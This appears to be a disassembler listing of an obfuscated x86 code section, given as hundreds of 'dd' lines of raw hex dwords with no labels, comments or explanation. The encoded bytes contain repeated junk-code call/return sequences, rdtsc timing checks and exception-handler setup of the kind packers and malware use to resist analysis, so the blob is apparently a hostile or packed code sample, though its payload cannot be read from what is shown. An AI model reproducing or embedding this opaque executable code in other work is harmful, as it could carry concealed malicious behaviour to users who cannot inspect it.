		dd 0E1ACCB00h, 6048F295h, 0CDE8F011h, 0E3B75EA9h, 2939858Bh
		dd 8533062Ah, 62A05F9h,	84BEDF81h, 0F9043D6h, 481h, 44BB6600h
		dd 0D98B5054h, 56006A90h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0DA7FD12Ch, 219D8B93h
		dd 89062A1Bh, 2A22699Dh, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D3D3C357h
		dd 49178EFCh, 8934505Bh, 2A033DB5h, 0A3BB5206h,	5B16479Dh
		dd 9A2E0168h, 81AAB79Ch, 0D5FE2404h, 6A6384h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 3D8313C3h
		dd 156E4FCAh, 95FF73B7h, 62A2B81h, 91FF5BFh, 0BE858937h
		dd 0E9062DB9h, 19Fh, 0DAD9D31h,	858B062Ah, 62DB9B6h, 11858953h
		dd 5B062A2Ch, 1800C7h, 8BF50000h, 2DB9BAB5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0CC59E83Ch, 4DD858Bh, 6A062Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0C9AC73C3h, 0B5016763h
		dd 62A1575h, 840F0689h,	1, 0E78166F9h, 858B846Ch, 62A2939h
		dd 44689F9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0B4C35040h, 28159D89h, 0E996062Ah, 5, 0F47B71E6h
		dd 870F5075h, 13h, 8E95250h, 4F000000h,	0E6C418D1h, 0F80364Dh
		dd 96585A31h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	66C35141h, 0A42E8449h, 0FFC7C380h, 2DB9B6B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 85898725h, 62A0E65h,	9E8h, 3E9C1000h, 703CEF56h, 0BD891D3Bh
		dd 62A0EF1h, 1EB685Bh, 0BB666CA6h, 3481865Ch, 0B9021424h
		dd 50006A6Ch, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0A45A3F00h, 58D0Fh, 2BBB0000h, 896FCEF1h
		dd 2A34C985h, 0BE858D06h, 0F062DB9h, 62B3DABFh,	501BB790h
		dd 0E99083B3h, 0Fh, 0AC54B2A1h,	82D82538h, 1F581198h, 0FFD2773Eh
		dd 2A2B8195h, 959D8B06h, 61062A24h, 0C7FBB70Fh,	2A06C585h
		dd 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 6236DF1Ah, 0A82CA5E2h, 83F6D780h
		dd 2DB9BEBDh, 840F0006h, 30h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 6EC35646h, 0CA40A000h, 173DBD8Bh
		dd 20E9062Ah, 66000000h, 9A1FDB81h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0F60DC357h, 0AB7C5FBEh, 88E40604h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E2C35343h
		dd 0D3816662h, 0BD833757h, 62A06C5h, 0B6850F03h, 6A000003h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 30BEC350h, 0BFDF9942h, 0D3817271h, 475689CBh
		dd 0B9BEBD83h, 0F00062Dh, 38084h, 3D9D2900h, 0FF062A2Bh
		dd 2DB9BEB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 16E0EE02h, 0A1DE0F42h, 1BBB662Eh
		dd 0A0C78185h, 0FF0E7C89h, 2A164D95h, 0CE906h, 0DD250000h
		dd 0E12A390Ah, 2363E52Bh, 8BF986E8h, 2DB9B2B5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 6E82Bh, 9F1A0000h, 27E08D1h,	0BF5BDA8Bh, 2818264h, 106C7h
		dd 0B5310001h, 62A2699h, 14E950h, 211B0000h, 606DACF7h
		dd 78755BCCh, 0ED65AC4Fh, 7BB4A270h, 348945E9h,	0DDD78024h
		dd 0B9BEB5FFh, 6A062Dh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0D7D2B6C3h, 0DE8B7F73h, 9EDEBB66h
		dd 1A3995FFh, 0DE8062Ah, 0F2000000h, 4A50710Dh,	71531DF6h
		dd 959EA0BEh, 0DDBD8B53h, 5F062A25h, 0B2B58B5Fh, 6A062DB9h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0A1FFC356h, 0D6E78166h, 699D8B95h, 8B062A10h
		dd 2A12E985h, 0AD9D8B06h, 89062A09h, 0C486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0AC6E74DFh, 67E5E77Ah, 95958B69h, 83062A33h,	0EEB304C2h
		dd 66205089h, 858DDE8Bh, 62DCC2Ch, 1581F381h, 86891B22h
		dd 0B8h, 0D30A36BBh, 6A006A4Dh,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0DD30C355h,	57AEC827h
		dd 8850Fh, 0F510000h, 8Bh, 8B665F00h, 0BEB5FFDAh, 6A062DB9h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 2BF0C351h, 2253385Ah, 3860FB6h, 66000000h
		dd 95FFDF8Bh, 62A135Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 7DC35343h, 3ADCB77h, 2A2C0DBDh, 0C19D3306h
		dd 81062A13h, 2A6857C3h, 5250965Ch, 310FB0B7h, 0AFE81CBFh
		dd 50585A1Bh, 0D19D3196h, 0FF062A33h, 2DB9BEB5h, 8E906h
		dd 190F0000h, 0D70B1730h, 95FFFAB2h, 62A2609h, 1281BD8Bh
		dd 0BD83062Ah, 62A1F61h, 41840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0F588C353h, 13E95650h, 10000000h, 0BF467806h, 8BC9A41Eh
		dd 0D15D0D26h, 0A404B13Eh, 895B184Fh, 9D892434h, 62A2B91h
		dd 0B9BEB5FFh, 6A062Dh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0BF8A0AC3h, 2904E432h, 5E90916h
		dd 0D0000000h, 0D2E1B352h, 22E59D8Bh, 95FF062Ah, 62A1A29h
		dd 0B9BEB5FFh, 6A062Dh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 216A68C3h, 0E45C0F30h, 95FFFA8Bh
		dd 62A0EC5h, 38B0Fh, 0E3800000h, 7DBD83B2h, 2062A1Fh, 3F840Fh
		dd 7E90000h, 2C000000h,	0C9956ECFh, 858B69BAh, 62A0F59h
		dd 94BF6656h, 0C65F0Ah,	51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 1DD274F3h, 6F6A3657h
		dd 3585C713h, 62A09h, 29000000h, 2A2D058Dh, 0F438E906h
		dd 8B66FFFFh, 6AC18BF8h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 7224C353h, 8903AFF2h
		dd 2A112995h, 11858D06h, 33062A19h, 2A1EB19Dh, 0BF565006h
		dd 37ECC127h, 2404895Fh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 33C35646h, 7C64CCFBh,	0BD0B2E7Eh, 62A2A91h
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0E964A8C3h, 14h, 8B17B017h, 419464A4h, 0CB95C06Fh
		dd 0ECF67B0Bh, 38971045h, 11E8006Ah, 0F2000000h, 0A8EF8239h
		dd 84F943Ah, 0A8A871Ch,	0B04A92E0h, 3DC7C1BFh, 858D5F19h
		dd 62EED6Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	5FC35343h, 8529AF7Eh, 62A0099h,	93EB8166h, 5C083C9h
		dd 25698501h, 0E890062Ah, 13h, 5C3B8141h, 70144F50h, 804F7C63h
		dd 0B7F6D4CAh, 0BB328D82h, 55486E28h, 75BB505Bh, 9011FCC1h
		dd 1AC99529h, 6A062Ah, 6820Fh, 9D8B0000h, 62A10E9h, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0A7C0D1C3h, 0ECD4F8E2h, 6BCF8023h, 127595FFh, 6A062Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 56974EC3h, 3CE10A6h,	2A0B399Dh, 668D8D06h, 6A062DB9h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0FD5C352h, 830F1B2Bh, 11h, 0CE9h,	57B9DE00h
		dd 72CDD372h, 55BF63E1h, 719D8B38h, 0FF062A29h,	6850FD1h
		dd 8B000000h, 2A2A81BDh, 15BD8306h, 1062A34h, 74850Fh
		dd 0F98B0000h, 0B589026Ah, 62A338Dh, 0D98B6650h, 6A240489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 18D0C353h, 0F6E7A7Dh, 12E8D9B7h, 7C000000h
		dd 0FB761E01h, 1F2A5721h, 27C57BD0h, 0B91FC9E0h, 0D88B66E6h
		dd 5D95FF5Bh, 6A062A13h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0BF5FC351h,	1BE93CF1h
		dd 0E800000Eh, 0
		dd 78ED815Dh, 6A062EEDh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 43DC351h, 71E824A0h
		dd 0D380F9A5h, 0FE950h,	490000h, 48CFB635h, 4A0A94B7h
		dd 0BC231718h, 0C4858D97h, 0F9062D96h, 50FC8A90h, 6880Fh
		dd 66560000h, 5F9A70BBh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 0AF010F0Bh, 35FF64h, 0B7000000h
		dd 2589646Eh, 0
		dd 69852960h, 0F062A18h, 38Eh, 0D9B70F00h, 0C185FF61h
		dd 8B062A14h, 2A1F819Dh, 7032BB06h, 0FF6A1B29h,	0E45B529h
		dd 0B5FF062Ah, 62A1399h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 77C35646h, 1C0FF0CEh,	1571BB66h, 238D95FFh
		dd 16E9062Ah, 89000001h, 2A276595h, 6000B006h, 1D9509FCh
		dd 61062A18h, 896070E6h, 2A0CC5B5h, 0DE8B6006h,	8F0Fh
		dd 61610000h, 613C71E4h, 0E7830Fh, 830F0000h, 3, 0FD88B66h
		dd 6E9C8B6h, 0F4000000h, 17C6A38Bh, 6BA51h, 0D98B0000h
		dd 980B39BFh, 0FC18B38h, 0E8C1F9B7h, 919D8B04h,	66062A0Bh
		dd 0C82BE2F7h, 31D98B66h, 2A1ED59Dh, 0FD18B06h,	1B89h
		dd 0FE800h, 2B3D0000h, 5FB06FB1h, 57BAB73Eh, 3C121FDh
		dd 59BD8B3Ah, 5B062A0Eh, 80E9h,	119D8900h, 8B062A11h, 185h
		dd 39858900h, 0B7062A24h, 7C083AFh, 0EE9h, 0A530D700h
		dd 9FB70972h, 14D235D4h, 83CE6615h, 0BD0B00C0h,	62A1F19h
		dd 830FD03Bh, 12h, 0E9D8B70Fh, 3Dh, 4F6DBB66h, 15019D8Bh
		dd 8D8B062Ah, 0FFFFFFFFh, 3505BD8Bh, 0E183062Ah, 1E840F01h
		dd 66000000h, 0A583F88Bh, 0FFFFFFFFh, 0F88B66FEh, 19589h
		dd 8D090000h, 62A28F1h,	0E9h, 0C2B58D00h, 0F062E66h, 684h
		dd 0B1BD8B00h, 6A062A14h, 558D2900h, 0E8062A21h, 11h, 32A81717h
		dd 0F1A05727h, 0DBBCC7DFh, 450B3DCAh, 13E945h, 6D980000h
		dd 243DCD34h, 82D050B7h, 28879AE0h, 0CD60C30h, 95FF5BBCh
		dd 62A3439h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	9EC35343h, 97E25488h, 0F921751Ah, 1091B9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8B603B62h, 2A144995h, 615B5106h, 0E183DA8Bh,	55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0E95DD5DBh, 0CA9DD427h, 0BF0F9A2Fh, 0FE9FCD8h, 42000000h
		dd 8B07218Bh, 6AD79334h, 9EB87DF6h, 0C02BD07Dh,	4052BB66h
		dd 1A059D8Bh, 0BA062Ah,	0F000000h, 33ADDFBFh, 3E8D1C2h
		dd 4E983D0h, 6660F475h,	0A7B2D18Bh, 0BE861h, 28BB0000h
		dd 0AE7B23A4h, 0F6BFAEA0h, 95315378h, 62A09FDh,	880D5F5Fh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 5545C351h, 0F1F2D456h,	0E380AC99h
		dd 95958B20h, 6A062A33h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0F030C351h,	8BDB26B1h
		dd 2A2B75BDh, 840F06h, 8B000000h, 2A0BF98Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 272FCDBEh, 3DE09B0Ah, 0AE9D9h, 31DA0000h, 0F3B093BFh
		dd 4D50CAB4h, 2B258D01h, 8B50062Ah, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 65C35242h, 2DBBE1DAh,	0B3FDF02Ch, 53006A32h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 2FA2CD83h, 0D2808702h, 2DC19D8Bh, 0BD83062Ah, 62A0FA5h
		dd 40840F00h, 31000000h, 2A0B9D95h, 0B806h, 81660000h
		dd 66821CDBh, 8D8DFA8Bh, 62A4E97h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0A1C35242h,	0CD85013Dh, 0FF062A2Ch
		dd 83FA8BE1h, 2A06C5BDh, 840F0006h, 4BFh, 391B589h, 0B70F062Ah
		dd 0C5BD83FBh, 1062A06h, 4C4840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 68C42AC3h
		dd 0DE9h, 64BB5200h, 4693B53Dh,	69E50950h, 0BD83EF4Dh
		dd 62A06C5h, 51860F03h,	6A000004h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 8F63C355h
		dd 8D893386h, 62A2861h,	50006A60h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0D3CA4994h, 0E953F505h
		dd 13h,	13852E07h, 6D3FC9C0h, 0C34A57C1h, 0F3843C03h, 0BB758AC8h
		dd 1224E278h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0D3F1C351h,	0F9BD897Ah
		dd 80062A25h, 0BD8904E1h, 62A05BDh, 840FC90Ah, 10Ah, 2649B589h
		dd 858B062Ah, 62A2939h,	7898D89h, 8533062Ah, 62A05F9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E0C35545h
		dd 66508FECh, 489FA8Bh,	4890F24h, 66000000h, 6A27ADBBh
		dd 0BD895000h, 62A2815h, 4E8F55Bh, 0FF000000h, 53001F03h
		dd 505BDE8Bh, 13E857h, 0A9CE0000h, 8E59BA19h, 0F52872CAh
		dd 945ACF78h, 698A042Fh, 5F616044h, 24448B5Bh, 0E8008B04h
		dd 8, 0ACB00618h, 0E6D980D4h, 6AB6BF66h, 2444895Bh, 0F88B6604h
		dd 56006A58h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 6EE6578Dh, 0BC00FA4Eh, 0D7816656h, 0FF5BC5DBh
		dd 2A2B8195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8D896EC9h, 62A13CDh, 3975E381h, 858907DAh
		dd 62DB9BEh, 16D9BD89h,	1AE9062Ah, 0F000002h, 858BD8B7h
		dd 62DB9B6h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0DEC35040h, 0CE21E0CFh,	0A59DD17Ah, 0F0BB39Dh
		dd 0C7DEB7h, 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0AFC35040h, 815A0A04h, 0F85849Eh, 582h,	0F3816600h
		dd 0B58BF6EEh, 62DB9BAh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 1C35646h, 0BD23AFFEh,	62A10B9h, 4DD858Bh
		dd 6A062Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 6D8AD0C3h, 21F5B529h, 689062Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D3C35242h, 6D98EE8Ah
		dd 243DCD34h, 0DA8B66B7h, 2939858Bh, 9D8B062Ah,	62A107Dh
		dd 80044689h, 0BD8BB4C3h, 62A0E5Dh, 0E8525050h,	0Eh, 0C9C318E6h
		dd 95CDFCE8h, 0BA7DD836h, 0F5BDE45h, 5A77B331h,	24348958h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 17C35242h
		dd 0D5E16C84h, 0E991B71Bh, 7, 87E1EE05h, 0FFE93EB9h, 2DB9B6B5h
		dd 0AE906h, 621E0000h, 0C026D4BAh, 196ECBE2h, 52B8BC68h
		dd 0CBBF6614h, 24348105h, 144DBB43h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 39C35141h, 0F7143FFh, 686h
		dd 0FD9D8B00h, 60062A2Dh, 0DE8h, 54AC3000h, 6DFC88B6h
		dd 0F81CDB0h, 8D8BAA27h, 62A3295h, 0FBF665Ah, 858D6141h
		dd 62DB9BEh, 0EE9h, 0CDF41300h,	7612DD7Dh, 0D7466067h
		dd 90565107h, 8E856h, 0D5260000h, 521E45FAh, 5F5BCEC1h
		dd 90DD8A50h, 0FFFBB70Fh, 2A2B8195h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 685C3395h
		dd 8BFF42A6h, 2A22C5BDh, 85C76106h
		dd 62A06C5h, 3,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	7DC35343h, 0B1CAC38h, 13218D89h, 0BD83062Ah, 62DB9BEh
		dd 55840F00h, 0E9000000h, 0Ch, 0D40022ADh, 0BB31CF4h, 0D3149023h
		dd 5AE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 3DF44354h, 8CC93F05h, 0B0DFE381h
		dd 11E92FBBh, 4F000000h, 0FD01CD30h, 986EE83Bh,	33F5E5EDh
		dd 0A83C07BCh, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 8BC08B00h, 2A0B61BDh, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 9398E4D6h
		dd 0B49A47BBh, 0B9BD8B13h, 83062A0Fh, 2A06C5BDh, 850F0306h
		dd 43Bh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 18h,	48C35242h, 0E37C9C8h, 94DF8166h, 0BEBD83A4h, 62DB9h
		dd 409840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 7E7E4CC3h, 74E9B8h, 0BBA0576h, 2A0561BDh
		dd 0DE806h, 0DEEF0000h,	0E5033A81h, 61F1EA4Bh, 0E9B67856h
		dd 8, 0D9838F86h, 4DE79257h, 0BEB5FF5Fh, 0FF062DB9h, 2A164D95h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 15BD896Eh, 8B062A10h, 2DB9B2B5h,	106C706h
		dd 6A000100h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0F926C353h, 0E7F8ABE0h, 0FE8DDF3h
		dd 0CF000000h, 0DA64826Ch, 480086CAh, 6D3610FEh, 9D8B4E52h
		dd 62A05EDh, 6650965Fh,	96E216BBh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 33C35040h, 1EE6BB6Ah, 0B5FF1C89h
		dd 62DB9BEh, 95FFDA8Bh,	62A1A39h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 3BC35343h, 0B9B2B58Bh, 6A062Dh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0A05699C3h, 0E51CC6C6h, 0FC2B76CEh, 12E9858Bh, 6A062Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 4533ACC3h, 8BA4D7FDh, 2A18CDBDh, 8689F506h, 0C4h, 25DD8D89h
		dd 958B062Ah, 62A3395h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 72C35242h, 89C36ED5h,	2A06198Dh, 7D953106h
		dd 83062A0Dh, 0B70F04C2h, 205089F9h, 0CD950160h, 0F062A10h
		dd 8D61F9B7h, 2DCC2C85h, 6BBF6606h, 0B886899Fh,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 1DC8C350h, 0BF665145h, 6A5B90B2h,	59858900h
		dd 0FF062A32h, 2DB9BEB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0D1855491h
		dd 66AF6AF6h, 0FF8654BBh, 2A135D95h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0FB333A91h
		dd 0CE8160CCh, 40001920h, 0DE9h, 0A19A0200h, 0A97D4192h
		dd 0CE424F6Eh, 50619815h, 0DF19BF66h, 6A243489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0C6B0C357h, 0F92816D6h, 894296C2h, 2A1649B5h, 0BEB5FF06h
		dd 6A062DB9h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 4202C355h, 660E7BC3h, 0E27AEB81h
		dd 260995FFh, 6A062Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 48EBB9C3h, 0C4674AE3h, 7D13BF66h
		dd 1F61BD83h, 0F00062Ah, 1984h,	5032B300h, 0A816BF66h
		dd 8B243489h, 2A1F45BDh, 0BB505206h, 36166A44h,	0B5FF5B5Bh
		dd 62DB9BEh, 61FFBF66h,	1A2995FFh, 12E8062Ah, 89000000h
		dd 613E81FAh, 0B2802725h, 56432EFDh, 6128EE1Ah,	19B529EFh
		dd 5B062A2Bh, 0B9BEB5FFh, 6A062Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0BB17A0C3h, 0E905C1CBh
		dd 7, 0A6F8B429h, 89D3B952h, 2A1F99BDh,	0C595FF06h, 6A062A0Eh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 0BE67C352h, 0AE9DEh, 0EBD40000h, 8F0A23E5h
		dd 0D4EF3E47h, 1F7DBD83h, 0F02062Ah, 3E84h, 0E59D8B00h
		dd 8B062A0Eh, 2A0F5985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0E9FFDFD9h, 0D8ED5DB1h
		dd 0A619D8Bh, 0C6062Ah,	159D2900h, 0C7062A0Eh, 2A093585h
		dd 6, 0E9F88A00h, 0FFFFF2C2h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 7BC35040h, 63D6ED1Bh, 0B4BBB5CAh
		dd 8B090E88h, 0AFBDBFC1h, 858D7E1Ah, 62A1911h, 0DE8h, 0FD744400h
		dd 0D18B1270h, 74A2B0DCh, 870F05C3h, 3,	5BD88B66h, 13E990h
		dd 0AF510000h, 0DAFAA8h, 0D29EA75Ch, 0ED8BEE0Fh, 1FED9A46h
		dd 5250507Dh, 6D4A50BFh, 60310F12h, 3E4CBB66h, 5A61FD8Ah
		dd 9D8B9058h, 62A07E5h,	6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0CF96D9C3h, 2BF9AA8h
		dd 1451BD8Bh, 0FE8062Ah, 0E7000000h, 7CDC3DF5h,	83433136h
		dd 73D6BD6Dh, 0BF0F324Ch, 6A5FDEh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 51C35545h, 484ECC85h, 5AD703CCh
		dd 2820Fh, 0F4B30000h, 1D9D8B60h, 0F9062A0Eh, 1D858D61h
		dd 8B062EFEh, 2A0EA59Dh, 5C08306h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0AAC35242h,	0CCF0F590h, 8125A0CBh
		dd 241AE5C3h, 90F88B0Bh, 60525050h, 616035B0h, 0BF310F61h
		dd 21A1EC9Ah, 8990585Ah, 2A0B3D85h, 6A006A06h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0F51AC355h, 0C0BFE8F2h, 95895EC5h, 62A1605h,	6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0A1F77CC3h, 8A6FAB05h, 0F00EE62h, 282h, 0FFFE8B00h
		dd 2A127595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 318D01ACh, 8B062A23h, 2A0D85BDh
		dd 668D8D06h, 6A062DB9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0DAF0C352h,	0B9BFD70Eh
		dd 9385AE46h, 58D0Fh, 81660000h, 0FF347DD7h, 0FD9D8BD1h
		dd 83062A05h, 2A3415BDh, 850F0106h, 99h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 0E0C35040h, 6A026Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0B35194C3h, 8B665FC4h, 9E990DAh, 5F000000h, 39C21AF2h
		dd 3F6BDCB2h, 35B79050h, 135D95FFh, 6A062Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 6950E6C3h
		dd 4E9626C2h
		dd 0E8D05D32h, 11h, 951EBEA7h, 2D45E339h, 78AFE186h, 93FA93A9h
		dd 0DFBF0F1Dh, 0CF9E95Bh, 0E80000h, 5D000000h, 0FE27ED81h
		dd 6A062Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0C78170C3h, 3797A04Eh, 9E9h, 7A298000h, 32927872h
		dd 858D73B9h, 62D96C4h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 26C35040h, 8BFEF64Dh,	0FFE8BDFh, 5090DFBFh
		dd 8830Fh, 50560000h, 5A310F52h, 0F8905B58h, 35FF64h, 8A000000h
		dd 258964D9h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0CFC35646h
		dd 14C185FFh, 6A062Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 6AAB16C3h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0E6535C6Ch
		dd 2FDB5FFh, 6A062Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 65FF0BC3h, 9D29511Eh, 62A0A59h
		dd 6E85Bh, 0A5D90000h, 813F8D91h, 0CE8h, 18C70B00h, 0D61F80EAh
		dd 46B24BADh, 5BFC8A91h, 8D95FF5Fh, 0E9062A23h,	13Dh, 11E9h
		dd 0DE4A4800h, 0F7B22B6h, 878EECF1h, 0FC5C079Ch, 0B045E1h
